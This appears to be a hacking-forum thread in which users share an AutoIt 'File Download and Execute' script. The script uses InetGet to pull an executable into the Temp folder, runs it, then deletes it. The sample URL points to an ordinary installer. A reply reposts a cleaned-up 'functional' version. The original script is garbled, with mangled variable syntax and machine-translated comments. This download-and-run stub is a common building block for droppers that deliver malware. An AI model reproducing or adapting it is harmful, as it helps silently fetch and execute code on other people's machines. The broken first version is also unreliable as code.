• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

AutoIT File Download and Execute ("InetGet") by enzo_

Status
Not open for further replies.

sQuo

~ KillmeMories ~
Shadow
User
Joined
Oct 16, 2011
Messages
5,851
Reputation
0
Reaction score
22,904
Points
688
Credits
0
‎13 Years of Service‎
24%
Author: enzo_




Code:
>cs # ------------------------------------------------ ----------------------------

       , Author: enzo_
       ; Language: AutoIt
       ; Function: File Download and Execute
       ; http://www.autoitscript.com/autoit3/docs/functions/InetGet.htm
  
# ce ------------------------------------------------ ----------------------------

If FileExists (@ TempDir & "\ resource.exe") Then; Verifies that the Temp folder exists If the file resource.exe
       FileDelete (@ TempDir & "\ resource.exe"); resource.exe Deletes the file if it exists in the TEMP folder
EndIf
Sleep (1000); Delay of 1 second
$ UrlDownloader = "http://www.angusj.com/resourcehacker/reshack_setup.exe"; Sets the variable $ UrlDownload is the Link "http://www.angusj.com/resourcehacker/reshack_setup.exe"
$ = @ TempDir Directory & "\ resource.exe"; Sets the variable $ Directory is installed on and I'm afraid to be "\ resource.exe"
InetGet ($ UrlDownloader, $ Directory); Declaring function Inetget variables ($ UrlDownloader, $ Directory)
Run ($ Directory); Performs variable $ serpa Directory that file TempDir @ & "\ resource.exe"
Sleep (5000); Delay 5 Seconds
FileDelete (@ TempDir & "\ resource.exe") Delete the file so that it can run normally
 
Re: File Download and Execute ("InetGet") by enzo_

Fui a usarlo pero tenia muchisimos errores, ahi lo dejo modificado y funcional:

#cs ------------------------------------------------ ----------------------------

, Author: enzo_ (Modificado por ErKali)

; Language: AutoIt

; Function: File Download and Execute

;
This link is hidden for visitors. Please Log in or register now.


#ce ------------------------------------------------ ----------------------------

If FileExists (@TempDir & "\res.exe") Then; Verifies that the Temp folder exists If the file resource.exe

FileDelete (@TempDir & "\res.exe"); resource.exe Deletes the file if it exists in the TEMP folder

Sleep(1000); Delay of 1 second

EndIf

$UrlDownloader = "http://www.angusj.com/resourcehacker/reshack_setup.exe"; Sets the variable $ UrlDownload is the Link "http://www.angusj.com/resourcehacker/reshack_setup.exe"

$Directory = @TempDir & "\res.exe"; Sets the variable $ Directory is installed on and I'm afraid to be "\ resource.exe"

InetGet ($UrlDownloader, $Directory); Declaring function Inetget variables ($ UrlDownloader, $ Directory)

Run ($Directory); Performs variable $ serpa Directory that file TempDir @ & "\ resource.exe"

Sleep (5000); Delay 5 Seconds
 
Re: File Download and Execute ("InetGet") by enzo_

Fui a usarlo pero tenia muchisimos errores, ahi lo dejo modificado y funcional:
Check the oficial link

This link is hidden for visitors. Please Log in or register now.


 
Status
Not open for further replies.
Back
Top